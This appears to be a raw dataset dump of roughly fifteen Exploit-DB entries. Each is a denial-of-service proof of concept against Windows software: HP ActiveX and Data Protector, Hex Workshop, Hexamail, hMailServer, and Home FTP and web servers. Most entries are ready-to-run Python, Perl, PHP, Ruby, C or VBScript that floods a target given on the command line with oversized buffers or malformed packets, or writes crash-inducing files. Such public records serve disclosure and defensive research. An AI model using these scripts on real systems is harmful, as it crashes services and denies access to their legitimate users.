deardaniel/secdata-raw huggingface dataset:
Exploit-DB #3898
Description: Hewlett Packard 1.0.0.309 - 'hpqvwocx.dll' ActiveX Magview Overflow (PoC)
Type: dos
Platform: windows
Date: 2007-05-11
Author: callAX

Exploit:
<html>

<head>

 <title>

  Proof of Concept -> Hewlett Packard Stack Overflow in hpqvwocx.dll v1.0.0.309

 </title>

</head>

 

<h4>Proof of Concept -> Hewlett Packard Stack Overflow in hpqvwocx.dll v1.0.0.309<br>

Tested in Windows XP Service Pack 2<br>

Discovered by Goodfellas Security Research Team<br>

Url ->http://www.hp.com<br> author -> callAX<br>mail -> callax@shellcode.com.ar<br>

http://www.shellcode.com.ar / http://www.securenetworks.ch</h4>

 

<object classid='clsid:BA726BF9-ED2F-461B-9447-CD5C7D66CE8D' id='pAF' ></object>

 

<input type="button" value="Boom" language="VBScript" OnClick="OuCh()">

 

<script language="VBScript">

 

sub OuCh()

 

 Var_0 = String(1000000, "A")

 

 pAF.DeleteProfile Var_0

 

End Sub

 

 

</script>

 

</html>

 

<!--

 

Tested in OllyDBG 1.08b

 

TEST DWORD PTR DS:[ECX],EAX

 

EAX -> 000ED484

ECX -> 000425F4

EDX -> 00000000

EBX -> 00000000

EIP  -> 04B47B97

 

Sub DeleteProfile (

            ByVal Name  As String

)

 

-->

# milw0rm.com [2007-05-11]
Exploit-DB #7592
Description: Hex Workshop 5.1.4 - Color Mapping File Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-12-28
Author: Encrypt3d.M!nd

Exploit:
# Hex Workshop 5.1.4 (Color Mapping File) Local Buffer Overflow Poc
# other versions are affected 
# 
# By:Encrypt3d.M!nd
# Merry Christmas & Happy New Year 2009
#
# Greetz:-=Mizo=-(Perra :-l),L!0N,El Mariachi,MiNi SpIder,GGY,and all my friends
################################################################################
#
# Just import (enc.cmap) From (Tools>Color Mapping) And See What Happen ^_^
# I Think it's Easy To Exploit but need some work *_^

chars = "A"*4500

foot = "\x20\x3D\x20\x52\x47\x42\x28\x30\x2C\x20\x30\x2C\x20\x30\x29\x2C\x20\x52\x47\x42\x28\x31\x36\x30\x2C\x20\x31\x36\x30\x2C\x20\x31\x36\x30\x29"

file=open('enc.cmap','w+')
file.write("\x22"+chars+"\x22"+foot)
file.close()

# milw0rm.com [2008-12-28]
Exploit-DB #7962
Description: Hex Workshop 6.0 - '.cmap' Invalid Memory Reference (PoC)
Type: dos
Platform: windows
Date: 2009-02-03
Author: DATA_SNIPER

Exploit:
#!/usr/bin/perl -w
# Hex Workshop v6 "ColorMap files .cmap" Invalid Memory Reference Crash POC
# Discovred by : DATA_SNIPER
# for more information vist my blog:http://datasniper.arab4services.net/
# the Exploit it's  very hard to implemented,if we can make the "reference" point to  valid memory location contain
# unicode string we can corrupt the memory and get code execution(it's not so easy as you can see,try it manually in olly).
print "==========================================================================\n";
print "Hex Workshop v6 (ColorMap files .cmap) Invalid Memory Reference crash POC\n";
print "Discovred by DATA_SNIPER\n";
print "Greetz to: arab4services team and AT4RE Team\n";
print "===================================================================== \n";
my $crash = '#Simple POC by DATA_SNIPER'."\n".'"%s"= RGB(0, 0, 0)'; #don't worry about it ,it's not Format string bug :)
my $file = "cr4sh.cmap" ;
open(my $data, ">>$file") or die "Cannot open $file";
print $data $crash;
close($data);
print "$file has been created\n";
print "open it in HexWorkshop.\n";

# milw0rm.com [2009-02-03]
Exploit-DB #51080
Description: Hex Workshop v6.7 - Buffer overflow DoS
Type: dos
Platform: windows
Date: 2023-03-27
Author: Rafael Pedrero

Exploit:
# Exploit Title: Hex Workshop v6.7 - Buffer overflow DoS
# Discovery by: Rafael Pedrero
# Discovery Date: 2022-01-06
# Vendor Homepage: http://www.bpsoft.com, http://www.hexworkshop.com
# Software Link : http://www.bpsoft.com, http://www.hexworkshop.com
# Tested Version: v6.7
# Tested on:  Windows 10

CVSS v3: 7.3
CVSS vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
CWE: CWE-119

Hex Workshop v6.7 is vulnerable to denial of service via a command line
file arguments and control the Structured Exception Handler (SEH) records.

Proof of concept:

Open HWorks32.exe from command line with a large string in Arguments, more
than 268 chars:

File 'C:\Hex Workshop\HWorks32.exe'
Arguments
'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag..."

0BADF00D   [+] Examining SEH chain
0BADF00D       SEH record (nseh field) at 0x0089e63c overwritten with
unicode pattern : 0x00390069 (offset 268), followed by 0 bytes of cyclic
data after the handler

The application crash.
Exploit-DB #4344
Description: Hexamail Server 3.0.0.001 - 'pop3' Remote Overflow (PoC)
Type: dos
Platform: windows
Date: 2007-08-30
Author: rgod

Exploit:
<?php
/*

Hexamail Server 3.0.0.001 (pop3) pre-auth remote overflow poc

by rgod
http://retrogod.altervista.org

tested against the Lite one
this one crashes the entire server
you are in control of eax and ecx,
I think arbitrary code execution is possible
but a little tricky, see you soon ;)

vendor url: http://www.hexamail.com/hexamailserver/

*/

error_reporting(0);
if ($argc<2) {die("[!]Syntax: php $argv[0] [ip]\n");}
echo "[*]Connecting to target host...\n";
$fp=fsockopen($argv[1],110, $errno, $errstr, 5);
if (!$fp) {die("[!]unable to connect ...");}
else {echo "[*]connected...\n";}
$eax="XXXX";
$ecx="YYYY";
$bof="./".str_repeat("A",15).$eax.$ecx.str_repeat("A",1025);
$bof = "USER ".$bof."\r\n";
fputs($fp,$bof);
fgets($fp);
fclose($fp);
echo "[*]Sent.\n";
sleep(2);
$fp=fsockopen($argv[1],110, $errno, $errstr, 5);
if (!$fp) {echo "[*]exploit succeeded...\n";}
else {echo "[!]it seems not working...\n";}
?>

# milw0rm.com [2007-08-30]
Exploit-DB #20307
Description: Hilgraeve HyperTerminal 6.0 - Telnet Buffer Overflow
Type: dos
Platform: windows
Date: 2000-10-18
Author: Ussr Labs

Exploit:
source: https://www.securityfocus.com/bid/1815/info


Hilgraeve HyperTerminal is a communications/telnet application shipped and installed with every copy of Microsoft Windows 98, ME, NT 4.0, and 2000. It is the default telnet client in Microsoft 98 and ME but not in Windows NT 4.0 / 2000.

A buffer overflow condition exists when a user attempts to access a telnet address over 153 characters long. Depending on the data entered, a denial of service attack or arbitrary code could be launched by a malicious third party. A specially malformed telnet address could be launched on a remote system if it were embedded in a HTML page or email message.

Although HyperTerminal is also shipped with NT 4.0, it is not susceptible to this vulnerability because it cannot be configured to be the default telnet client.

telnet://<string consisting of over 153 characters>
Exploit-DB #32229
Description: hMAilServer 4.4.1 - IMAP Command Remote Denial of Service
Type: dos
Platform: windows
Date: 2008-08-12
Author: Antunes

Exploit:
source: https://www.securityfocus.com/bid/30663/info

hMailServer is prone to a remote denial-of-service vulnerability caused by large numbers of certain IMAP commands.

Exploiting this issue will cause the server to crash and deny access to legitimate users.

hMailServer 4.4.1 is vulnerable; other versions may also be affected.

A01 CREATE AAAAA
A02 CREATE AAAAAA
A03 CREATE AAAAAAA
...
A97 RENAME AAAAA BBBBB
A98 RENAME AAAAAA BBBBBB
A100 RENAME AAAAAAA BBBBBBB
Exploit-DB #22302
Description: hMAilServer 5.3.3 - IMAP Remote Crash (PoC)
Type: dos
Platform: windows
Date: 2012-10-28
Author: John Smith

Exploit:
# Exploit Title: hMailServer 5.3.3 IMAP Remote Crash PoC
# Date: 10/27/2012
# Vendor Homepage: http://hmailserver.com
# Software Link: http://www.hmailserver.com/index.php?page=background_download_file&downloadid=207
# Version: hMailServer 5.3.3 - Build 1879
# Tested on:
#	- hMailServer 5.3.3 with default settings
#	- Reliably corruption makes IMAP service inaccessible on WIN XP SP2 and WIN 2K3R2 SP2
#	- Unreliable corruption makes all services (SMTP, IMAP, and POP) inaccessible on WIN 2K8R2 SP1
#
# Note: Disable "Auto-ban" in the hMailServer Admin console if performing additional fuzzing.

#!/usr/bin/ruby

require 'socket'

s = TCPSocket.open(ARGV[0], 143)

cmd = "a LOGIN "
address = "A" * 32765
password = " AAAAAAAA\r\n"
logout = "a LOGOUT\r\n"

pkt = cmd
pkt << address
pkt << password
pkt << logout

s.write(pkt)

while resp = s.gets
	p resp
end

s.close
Exploit-DB #9852
Description: Home FTP Server 1.10.1.139 - 'SITE INDEX' Remote Denial of Service
Type: dos
Platform: windows
Date: 2009-11-16
Author: zhangmc

Exploit:
# Exploit Title: Home FTP Server 1.10.1.139 'SITE INDEX' Command Remote Denial of Service Vulnerability
# Date: 16 Nov 09
# Author: zhangmc
# Software Link: http://downstairs.dnsalias.net/files/HomeFtpServerInstall.exe
# Version: Home FTP Server 1.10.1.139
# Tested on: [relevant os]
# Code :

From: zhangmc () mail ustc edu cn
Date: 16 Nov 2009 15:37:20 -0000

Date of Discovery: 16-Nov-2009

Credits:zhangmc[at]mail.ustc.edu.cn

Vendor: Ari Pikivirta
       http://downstairs.dnsalias.net/homeftpserver.html

Affected:
Home FTP Server 1.10.1.139
Earlier versions may also be affected

Overview:
Home FTP Server FTP Server is an easy use FTP server Application. Denial of service

vulnerability exists in Home FTP Server that causes the application to stop service when we

send multiple irregular "SITE INDEX" commands to the server.

Details:
If you could log on the server successfully, take the following steps and the application

will stop service:

1.sock.connect((hostname, 21))
2.sock.send("user %s\r\n" %username)
3.sock.send("pass %s\r\n" %passwd)
4.for i in range(1,20):
        sock.send("SITE INDEX "+ "a"*30*i +"\r\n")
5.sock.close()


Severity:
High

Exploit example:

#!/usr/bin/python
import socket
import sys

def Usage():
   print ("Usage:  ./expl.py <serv_ip>      <Username> <password>\n")
   print ("Example:./expl.py 192.168.48.183 anonymous anonymous\n")
if len(sys.argv) <> 4:
       Usage()
       sys.exit(1)
else:
   hostname=sys.argv[1]
   username=sys.argv[2]
   passwd=sys.argv[3]
   test_string="a"*30
   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   for i in range(1,30):
       try:
           sock.connect((hostname, 21))
       except:
           print ("Connection error!")
           sys.exit(1)
       r=sock.recv(1024)
       print "[+] "+ r
       sock.send("user %s\r\n" %username)
       print "[-] "+ ("user %s\r\n" %username)
       r=sock.recv(1024)
       print "[+] "+ r
       sock.send("pass %s\r\n" %passwd)
       print "[-] "+ ("pass %s\r\n" %passwd)
       r=sock.recv(1024)
       print "[+] "+ r


       for i in range(1,20):
           sock.send("SITE INDEX "+ test_string*i +"\r\n")
           print "[-] "+ ("SITE INDEX "+ test_string +"\r\n")
           r=sock.recv(1024)
           print "[+] "+ r

       sock.close()
       sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


   sys.exit(0);
Exploit-DB #12774
Description: Home FTP Server 1.10.3 (build 144) - Denial of Service
Type: dos
Platform: windows
Date: 2010-05-28
Author: Dr_IDE

Exploit:
#!/usr/bin/python
###################################################################
#
# HomeFTP Server r1.10.3 (build 144) Denial of Service Exploit
# Found By: Dr_IDE
# Date:     May 28, 2010
# Download: http://downstairs.dnsalias.net/products.html
# Tested:   Windows 7
#
###################################################################
 
import socket, sys
 
host = (sys.argv[1])
buff = ("A" * 5000)
cmds = ('SITE INDEX')
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print ("\r\n[i] Connecting to: " + host +"\r\n")
print ("[*] Crashing server with command: " + cmds + "\r\n")

try:
	s.connect((host, 21))
	d=s.recv(1024)
	print (d)
	s.send("USER dr_ide\r\n") #anonymous login so anything goes
	d=s.recv(1024)
	print (d)
	s.send("PASS dr_ide\r\n")
	d=s.recv(1024)
	print (d)
	s.send(cmds + " " + buff + '\r\n')
	d=s.recv(1024)
	print (d)
	s.send(cmds + " " + buff + '\r\n') #Second time does the trick.
	d=s.recv(1024)
	print (d)
	s.close()
	
	try:
		s.connect((host,21))
	except:
		print ("\r\n[i] Success, Server is Down.")
except:
	print ("[i] Error")
Exploit-DB #5270
Description: Home FTP Server 1.4.5 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2008-03-17
Author: 0in

Exploit:
# Discovered by 0in from DaRk-CodeRs Programming & Security Group
# Contact: 0in(dot)email[at]gmail(dot)com
# Thats a very funny bug, and nobody understand how it works;]
# When we send a python FTP retrlines() function bad command and create
# a new connection server got DoS... o0
# Thats not overflow, it's probubly in logic application.
# Greetings to all DaRk-CodeRs Members:
# Die_Angel, Sun8hclf, M4r1usz, Djlinux, Aristo89
# Special THX to: Rade0n3900
# Debug:
# ----------------------
# | EIP: 0100FE98 |
# | DS:[00FFFFED4]=??? |
# | ECX: 0100FED4 |
# ----------------------
from ftplib import FTP
import time
ip="127.0.0.1"
login="anonymous"
[CREDENTIAL_REDACTED].pl'
print '-------------------------------'
print '| HOME FTP SERVER DoS Exploit |'
print '| bY 0in From Dark-Coders! |'
print '|>>http://dark-coders.4rh.eu<<|'
print '-------------------------------'
print 'connecting...'
ftp=FTP(ip)
ftp.login(login,passwd)
print 'sending...'
try:
ftp.retrlines("AAAA")
except Exception:
print 'ok!\nreconnecting...'
ftp=FTP(ip)
ftp.quit()
print 'DosEd'
#EoFF

# milw0rm.com [2008-03-17]
Exploit-DB #8524
Description: Home Web Server r1.7.1 (build 147) - GUI Thread-Memory Corruption
Type: dos
Platform: windows
Date: 2009-04-23
Author: Aodrulez

Exploit:
  Home Web Server <=r1.7.1 (build 147) "Gui Thread-Memory Corruption Exploit." By: Aodrulez.

Homepage         : http://downstairs.dnsalias.net/homewebserver.html 
Product Released : 22.4.2009/21:16:58
 

Description:
	This web server when fed with 
1006 bytes of chr(0x0d),with the html
"GET" parameter,the Server's Gui's 
Thread gets corrupted.This means,
though the web server works normally,
(due to Multithreading),No more Logs 
are generated.Also "all" the web server 
configuration settings are unavailable.


	
Exploit (Python):
----------------------------------------------------------
# Echo client program
import socket

HOST = 'localhost'    # The remote host
pORT = 80           # The same port as used by the server
print '####################################'
print '#Home Web Server r1.7.1 (build 147)#'
print '#  Gui Thread Corruption Exploit   #'
print '#                                  #'
print '#          By: Aodrulez            #'
print '#       f3arm3d3ar@gmail.com       #'
print '#                                  #'
print '####################################'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, pORT))
p='GET '+chr(0x0d)*1001+'index.html HTTp/1.0\r\n\r\n'
s.send(p)
s.close()
print '\"'+HOST+'\'s Gui Got Corrupted :P\"     '
---------------------------------------------------------

Greetz Fly out to:
1] Amforked()      : My Mentor.
2] The Blue Genius : :-)
3] www.OrchidSeven.com

# milw0rm.com [2009-04-23]
Exploit-DB #1416
Description: HomeFtp 1.1 - 'NLST' Denial of Service
Type: dos
Platform: windows
Date: 2006-01-14
Author: pi3ch

Exploit:
/*
HomeFtp v1.1 Denial of Service
original advisory: http://kapda.ir/advisory-202.html
homeftp_v1.1_xpl.c
----------------------------------------
*/

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>

#define  POCSTR "USER %s\x0d\x0aPASS %s\x0d\x0aNLST\x0d\x0a"

int header();
int usage(char *filename);
int remote_connect( char* ip, unsigned short port );

int header() {
printf("\n[i] KAPDA - Computer Security Science Researchers Institute\n\n");
printf("[i] Title:              \tHomeFTP <= v1.1 Dos Exploit\n");
printf("[i] Discovered by:      \tcvh {a] kapda.ir\n");
printf("[i] Exploit by:         \tPi3cH {a] kapda.ir\n");
printf("[i] More info:          \twww.kapda.ir/page-advisory.html\n\n");
return 0;
}

int usage(char *filename) {
printf("[i] Usage:   \t%s HOST PORT USERNAME PASSWORD\n",filename);
printf("[i] Example: \t%s 127.0.0.1 21 anonymous none\n\n",filename);
exit(0);
}

int remote_connect( char* ip, unsigned short port )
{
int s;
struct sockaddr_in remote_addr;
struct hostent* host_addr;

memset ( &remote_addr, 0x0, sizeof ( remote_addr ) );
if ( ( host_addr = gethostbyname ( ip ) ) == NULL )
{
printf ( "[e] Cannot resolve \"%s\"\n", ip );
exit ( 1 );
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_port = htons ( port );
remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
{
printf ( "[e] Socket failed!\n" );
exit(1);
}
if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) ==  -1 )
{
printf ( "[e] Failed connecting!\n" );
       exit(1);
}
return ( s );
}


int main(int argc, char *argv[]) {
 int s;
 char *request;
 header();
 if( (argc < 5) )
     usage(argv[0]);
 request = (char *) malloc(1024);
 printf("[r] Connecting to remote host\n");
 s = remote_connect(argv[1],atoi(argv[2]));
 sleep(1);
 printf("[r] Creating buffer\n");
 sprintf(request,POCSTR,argv[3],argv[4]);
 printf("[r] Sending %d bytes of DOS buffer\n",strlen(request));
 if ( send ( s, request, strlen (request), 0) <= 0 )
 {
         printf("[e] Failed to send buffer\n");
         close(s);
         exit(1);
 }
 sleep(1);
 printf("[s] Exploit Done!\n");
 close(s);
 free(request);
 request = NULL;
 return 0;
}

// milw0rm.com [2006-01-14]
Exploit-DB #15940
Description: HP Data Protector Manager 6.11 - RDS Service Remote Denial of Service
Type: dos
Platform: windows
Date: 2011-01-08
Author: Pepelux

Exploit:
#!/usr/bin/perl

# ===============================
# HP Data Protector Manager v6.11
# ===============================
#
# Bug: Remote Denial of Service Vulnerabilities (RDS Service)
#
# Software: http://h71028.www7.hp.com/enterprise/w1/en/software/information-management-data-protector.html
# Date: 08/01/2011
# Authors: Roi Mallo - rmallof[AT]gmail[DOT]com
#                   http://elotrolad0.blogspot.com/ - http://twitter.com/rmallof
#              Pepelux - pepelux[AT]enye-sec[DOT]com
#                   http://www.enye-sec.org - http://www.pepelux.org - http://twitter.com/pepeluxx
#
# Vulnerable file: Program Files\OmniBack\rds.exe
#
# Tested on Windows XP SP2 && Windows XP SP3
#
#
# POC: 
# _ncp32.dll is the responsable of waiting the packet (RECV)
# when a packet is received, it uses _rm32.dll to allocating memory,
# as the size is too big, malloc can't allocate this size and the program exit.
#
# _ncp32.dll
# 00482F92   68 7DFAF908  	PUSH 8F9FA7D
# 00482F97   6A 00            	PUSH 0
# 00482F99   6A 01            	PUSH 1
# 00482F9B   6A 00            	PUSH 0
# 00482F9D   8B55 F8          	MOV EDX,DWORD PTR SS:[EBP-8] ; packet size (64000000h)
# 00482FA0   52               		PUSH EDX
# 00482FA1   E8 9C2D0000	CALL <JMP.&_rm32.#20_rm_getMem>
#
#
# _rm32.dll
# 0038C49B   8B45 08          	MOV EAX,DWORD PTR SS:[EBP+8] : packet size (64000000h)
# 0038C49E   83C0 08          	ADD EAX,8
# 0038C4A1   50               	PUSH EAX
# 0038C4A2   FF15 F4733A00 CALL DWORD PTR DS:[<&MSVCR71.malloc>]    ; MSVCR71.malloc  --> Returns 0 because no space available
# ......
# 0038C5F9   50               		PUSH EAX
# 0038C5FA   68 2C0C3A00  	PUSH _rm32.003A0C2C ; ASCII "rm_getMem: out of memory, allocating %u bytes. Called from %s"
#......
# 0038C64E   E8 8D220000      CALL _rm32.rm_errorExit



use IO::Socket;

my ($server, $port) = @ARGV ;

unless($ARGV[0] || $ARGV[1]) {
	print "Usage: perl $0 <host> [port]\n";
	print "\tdefault port = 1530\n\n";
	exit 1;
}

$port = 1530 if !($ARGV[1]);


if ($^O =~ /Win/) {system("cls");}else{system("clear");}

my $buf = "\x23\x8c\x29\xb6"; 	# header (always the same)
$buf .= "\x64\x00\x00\x00"; 		# data packet size (too big)
$buf .= "\x41"x4;						# data

print "[+] Connecting to $server:$port ...\n";

my $sock1 = new IO::Socket::INET (PeerAddr => $server, PeerPort => $port, Timeout => '10', Proto => 'tcp') or die("Server $server is not available.\n");

print "[+] Sending malicious packet ...\n";
print $sock1 "$buf";
print "\n[x] Server crashed!\n"; 
exit;
Exploit-DB #15649
Description: HP Data Protector Manager A.06.11 MMD - Null Pointer Dereference Denial of Service
Type: dos
Platform: windows
Date: 2010-12-01
Author: Pepelux

Exploit:
#!/usr/bin/perl

# =================================
# HP Data Protector Manager A.06.11
# =================================
#
# Bug: NULL Pointer Dereference Remote Denial of Service Vulnerability
#
# Software: http://h71028.www7.hp.com/enterprise/w1/en/software/information-management-data-protector.html
#
# Date: 30/11/2010
# Author: Pepelux - pepelux[AT]enye-sec[DOT]com
#                   http://www.enye-sec.org - http://www.pepelux.org
#
# Service: mmd.exe (Media Management Daemon)
# Vulnerable file: \Program Files\OmniBack\bin\MSVCR71.dll
#
# MSVCR71.dll:7c350428 mov ax,[edx] caused access violation
# when attempting to read from 0x00000000
#
# Tested on Windows XP SP2

use IO::Socket;

my ($server, $port) = @ARGV ;

unless($ARGV[0] || $ARGV[1]) {
	print "Usage: perl $0 <host> [port]\n";
	print "\tdefault port = 1026\n\n";
	exit 1;
}

$port = 1026 if ($ARGV[0]);

my $buf = "\x00\x00\x00\x43\xfe\xff\x00\x32\x00\x36\x00\x37\x00\x00\x41\x41".
		  "\x00\x31\x00\x00\x42\x42\x00\x31\x00\x00\x43\x43\x00\x31\x00\x00".
		  "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44".
		  "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44".
		  "\xab\x7b\xde\x7c\x46\x4f\x4f";
		  
print "[+] Connecting to $server:$port ...\n";

my $sock1 = new IO::Socket::INET (PeerAddr => $server, PeerPort => $port, Timeout => '10', Proto => 'tcp') or die("Server $server is not available.\n");

while(1) {
print "[+] Sending malicious packet ...\n";
print $sock1 "$buf";
print "\n[x] Server crashed!\n"; 
exit;
Exploit-DB #14974
Description: HP Data Protector Media Operations 6.11 (Multiple Modules) - Null Pointer Dereference Denial of Service
Type: dos
Platform: windows
Date: 2010-09-11
Author: d0lc3

Exploit:
#Exploit Title: HP Data Protector Media Operations 6.11 Multiple NULL Pointer Dereference Local DoS (0day)
   
#Date:          11/09/2010   

#Author:        d0lc3   d0lc3x[at]gmail[dom]com 

#Author Link:   http://elotrolad0.blogspot.com/  

#Software Link:    (trial) https://h10078.www1.hp.com/cda/hpdc/navigation.do?
action=downloadBinStart&caid=44914&cp=54_4000_100&zn=bto&filename=B7
129AAE

#Version:       6.11 

#Tested on:     win32 XP SP3 (spa)

#Summary:  
"DBServer.exe" and "DBTools.exe" are prone to local denial of service 
causing a NULL pointer Dereference. 
Correct manipulation of .4DC file format should to allow attackers exploit this
issue to crash application, denying service to legitimate users. Due to the
nature of this issue, attackers may be able to execute local arbitrary
code, but this has not been confirmed.

More details on author blog:

http://elotrolad0.blogspot.com/2010/09/hp-data-protector-media-operations-611.html

by r0i

PoC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14974.rar (HP_Data_Protector_Poc.rar)